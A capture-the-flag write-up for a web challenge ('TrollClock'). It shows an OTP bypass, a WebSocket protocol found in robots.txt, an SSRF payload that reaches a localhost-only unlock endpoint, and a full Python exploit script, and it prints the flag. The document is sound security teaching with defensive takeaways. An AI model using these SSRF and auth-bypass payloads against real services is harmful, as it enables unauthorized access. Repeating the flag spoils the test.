TrollClock: Web

Flag: KPMG_CTF{4b_WZ0DGCZpqrXPOLwh-3jevywhFXdaSUcuEm1bWD1wh}

Category: Web (WebSocket · SSRF · JS deobfuscation) Target: https://kicyber-29ea3a686196-trollclock-0-0.chals.io/

Brief

You start with errors and you learn to live with it.

A Node/Express + ws app. The page shows a fake “one-time code” clock and claims a new challenge is issued every 37 seconds. The flag arrives over a WebSocket. The tagline is the hint: there are several dead-ends/decoys layered on top of each other, and you learn which “errors” don’t matter.

Step 1: Read the client

The homepage JS shows the whole flow:

  • The OTP shown on screen is generated client-side (Math.random()), re-rolled every 10s.
  • Clicking verify POSTs the code to /verify-otp; on success it POSTs /dashboard, then opens a WebSocket to /ws and sends {type:"submit_window", answer: ...}.
  • A telling comment: “This page is just one way to talk to the socket … sending submit_window here is equivalent to crafting the same raw JSON message yourself.” → the WS is the target.

Step 2: The OTP is a red herring

/verify-otp rejects everything (invalid otp, try again) and there’s no obvious way to know the server’s code. But the client only calls /dashboard after a successful OTP. Does the server actually enforce that order?

$ curl -sk -X POST https://$H/dashboard -D -
HTTP/1.1 200 OK
Set-Cookie: sid=1a82bf16...; HttpOnly; Path=/; Max-Age=86400; SameSite=Lax
{"ok":true}

No. /dashboard hands out a session cookie with no OTP check. The entire OTP stage is cosmetic: skip straight to the WebSocket with that sid.

Step 3: The WebSocket won’t start

Connecting to /ws with the sid cookie:

<< {"origin":"http://localhost:3000","type":"hello",
    "message":"tip: this clock can sync against an external time source for better accuracy."}
>> {"type":"submit_window","answer":"test"}
<< {"type":"mock","message":"the clock is not running yet"}

Two leads: every server message carries an origin: http://localhost:3000, and the clock needs to be started via some “external time source” sync.

Step 4: robots.txt spells out the protocol

$ curl -sk https://$H/robots.txt
User-agent: *
Disallow: /internal/

# the key that starts the clock isn't a password, it's a type: clock_sync
# send it down the wire the clock is already listening on.
# it only trusts messages that claim to come from home: /internal/clock-unlock

So: send {type:"clock_sync"} over the WS, and it must reference /internal/clock-unlock, which is forbidden from outside:

$ curl -sk https://$H/internal/clock-unlock
{"error":"forbidden: internal use only"}   # HTTP 403

Step 5: SSRF via the “time source”

The clock_sync message takes an origin field that is a URL the server fetches itself, returning the response body back over the socket. That’s a server-side request, and a request originating from the server reaches the internal endpoint the 403 was blocking:

>> {"type":"clock_sync","origin":"http://localhost:3000/internal/clock-unlock"}
<< {"type":"clock_sync_result","status":200,
    "body":"{\"unlock\":\"granted\",\"message\":\"the clock will start now\"}"}
<< {"type":"verifier_challenge","code":"(function () { ... })"}

(Proof it’s a generic SSRF: origin:"http://localhost:3000" returns the homepage HTML in body; a bare path returns Failed to parse URL.)

Unlocking the clock makes the server issue a verifier_challenge: an obfuscated JS function to evaluate for the answer.

Step 6: The verifier is meant to be executed, not read

The code is a randomized state-machine with decoys (re-generated each time), e.g.:

(function () {
  _stp1snmc = 5917;
  while (_stp1snmc !== 6826) { switch (_stp1snmc) {
    case 8948: { _hdx4z76v = { v: 819106 };
      _px2d4vi2 = new Proxy(_hdx4z76v, { get:(t,p)=> p!=='v'? t[p] : t.v - 162457 }); ... }
    case 6848: {                      // decoy branch
      if (Object.prototype.__trollBypass) { _stp1snmc = 6619; }  // returns a fake "365402"
      else { _stp1snmc = 8948; } break; }
    case 4166: { _smar4fkd = (_px2d4vi2.v + _pxwkiogm.v + _pxrqgtgv.v) % 1000000;
      _rslo2072 = String(_smar4fkd).padStart(6,'0'); _stp1snmc = 6826; break; }
  }} return _rslo2072;
})

The constants change every challenge and the Proxy getters mutate the values on access, so static analysis is a trap (the __trollBypass “fast path” is a decoy). Just run it in a locked-down sandbox and read the 6-digit return. Then submit it in time:

>> {"type":"submit_window","answer":"058982"}
<< {"type":"flag","flag":"KPMG_CTF{4b_WZ0DGCZpqrXPOLwh-3jevywhFXdaSUcuEm1bWD1wh}"}

Full exploit

import json, ssl, subprocess, urllib.request, websocket
H="kicyber-29ea3a686196-trollclock-0-0.chals.io"

def sid():
    r=urllib.request.urlopen(urllib.request.Request(f"https://{H}/dashboard",method="POST",data=b""),
        context=ssl._create_unverified_context())
    return r.headers.get("Set-Cookie","").split(";")[0]

def eval_code(code):   # run the verifier in a no-globals Node vm, 2s timeout
    harness=("const vm=require('vm');let s='';process.stdin.on('data',d=>s+=d);"
             "process.stdin.on('end',()=>process.stdout.write(String("
             "vm.runInNewContext('('+s+')',Object.create(null),{timeout:2000})())));")
    return subprocess.run(["node","-e",harness],input=code.encode(),
                          capture_output=True,timeout=10).stdout.decode().strip()

ws=websocket.create_connection(f"wss://{H}/ws",header=[f"Cookie: {sid()}"],
    sslopt={"cert_reqs":ssl.CERT_NONE},timeout=8); ws.settimeout(6)
ws.recv()                                                     # hello
ws.send(json.dumps({"type":"clock_sync","origin":f"http://localhost:3000/internal/clock-unlock"}))
ans=None
for _ in range(6):
    d=json.loads(ws.recv())
    if d.get("type")=="verifier_challenge": ans=eval_code(d["code"])
if ans:
    ws.send(json.dumps({"type":"submit_window","answer":ans}))
    for _ in range(8):
        m=ws.recv()
        if '"flag"' in m: print(m); break

Summary

Layer Decoy / gate Reality
OTP clock Client-side random code, /verify-otp always fails /dashboard grants a session with no OTP check
Start the clock submit_window → “clock is not running yet” Needs a clock_sync message (per robots.txt)
Internal unlock /internal/clock-unlock → 403 forbidden clock_sync.origin is an SSRF; fetch it from localhost
Verifier Obfuscated JS with a __trollBypass “fast path” decoy Execute the function, submit its 6-digit result
Flag None KPMG_CTF{4b_WZ0DGCZpqrXPOLwh-3jevywhFXdaSUcuEm1bWD1wh}

Takeaways

  • Enforce multi-step flows server-side. Here the OTP gate lived only in client JS, so /dashboard could be called directly.
  • robots.txt is recon gold: this one documented the exact WS message needed.
  • A “fetch an external URL for me” feature is SSRF until proven otherwise. The clock_sync origin let a request originate from the server and reach a localhost-only endpoint that returned 403 to the outside.
  • When a challenge hands you obfuscated code whose constants change each round, don’t deobfuscate by hand; run it in a sandbox (Node vm with an empty context + timeout) and read the output. The __trollBypass branch was bait to lure manual analysis down a fake path.